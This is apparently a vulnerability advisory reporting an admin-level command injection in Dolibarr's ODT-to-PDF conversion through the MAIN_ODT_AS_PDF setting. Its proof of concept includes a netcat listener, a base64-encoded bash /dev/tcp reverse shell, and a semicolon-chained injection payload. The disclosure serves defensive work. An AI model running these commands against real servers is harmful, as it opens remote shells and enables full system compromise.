### Summary
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.

### Details
The vulnerability is located in `htdocs/includes/odtphp/odf.php`.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.

Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):
```php
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
```

While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.

### PoC
**Prerequisites:**
1. Login as an Administrator.
2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.

**Steps to reproduce (Reverse Shell):**

1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`):
```bash
nc -lvnp 4445
```

2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64:
```bash
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
```

3. Navigate to **Home -> Setup -> Other Setup**.

4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:
```bash
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
```
*(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*
<img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" />

5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.
<img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" />
<img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" />
<img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" />

6. Check the netcat listener. A connection will be established, granting a shell on the server:

<img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" />


### Impact
**Remote Code Execution (RCE).**
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:
- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).

---

### Credits
Reported by Łukasz Rybak